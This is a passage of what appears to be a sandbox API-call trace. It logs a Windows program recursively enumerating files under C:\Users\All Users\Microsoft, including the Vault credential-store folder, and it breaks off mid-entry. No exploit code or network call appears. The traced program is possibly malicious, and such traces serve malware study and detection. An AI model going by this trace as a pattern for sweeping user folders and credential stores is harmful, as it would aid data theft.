[0092.313] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp") returned="usertile15.bmp" [0092.313] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.313] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.313] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.313] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp") returned="usertile16.bmp" [0092.313] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.313] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.313] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.314] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp") returned="usertile17.bmp" [0092.314] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.314] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.314] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.314] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp") returned="usertile18.bmp" [0092.314] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.314] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.314] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.314] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp") returned="usertile19.bmp" [0092.314] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.314] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.315] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.315] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp") returned="usertile20.bmp" [0092.315] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.315] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.315] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.315] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp") returned="usertile21.bmp" [0092.315] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.315] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.315] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.316] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp") returned="usertile22.bmp" [0092.316] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.316] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.316] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.316] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp") returned="usertile23.bmp" [0092.316] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.316] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.316] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.316] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp") returned="usertile24.bmp" [0092.316] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.316] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.317] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.317] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp") returned="usertile25.bmp" [0092.317] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.317] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.317] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.317] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp") returned="usertile26.bmp" [0092.317] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.317] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.317] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.318] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp") returned="usertile27.bmp" [0092.318] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.318] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.318] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.318] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp") returned="usertile28.bmp" [0092.318] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.319] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.319] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.319] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp") returned="usertile29.bmp" [0092.319] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.319] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.319] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.319] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp") returned="usertile30.bmp" [0092.319] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.319] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.320] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.320] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp") returned="usertile31.bmp" [0092.320] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.320] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.320] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.320] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp") returned="usertile32.bmp" [0092.320] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.320] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.320] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.320] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp") returned="usertile33.bmp" [0092.321] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.321] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.321] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.321] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp") returned="usertile34.bmp" [0092.321] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.321] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.321] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.321] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp") returned="usertile35.bmp" [0092.321] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.321] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.322] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.322] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp") returned="usertile36.bmp" [0092.322] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.322] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.322] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.322] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp") returned="usertile37.bmp" [0092.322] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.322] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.322] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.323] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp") returned="usertile38.bmp" [0092.323] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.323] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.323] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.323] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp") returned="usertile39.bmp" [0092.323] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.323] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.323] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.323] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp") returned="usertile40.bmp" [0092.323] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.323] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.324] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.324] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp") returned="usertile41.bmp" [0092.324] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.324] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.324] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.324] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp") returned="usertile42.bmp" [0092.324] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.324] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.325] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.325] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp") returned="usertile43.bmp" [0092.325] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0092.325] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="" [0092.325] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.325] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*.*") returned="*.*" [0092.325] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0092.325] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="" [0092.325] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.325] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.326] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp") returned="guest.bmp" [0092.326] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0092.326] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="" [0092.326] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.326] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.327] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.327] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.327] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.327] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.328] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\*.*") returned="*.*" [0092.328] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AIT\\*.*", lpFindFileData=0x18f7a8 | out: 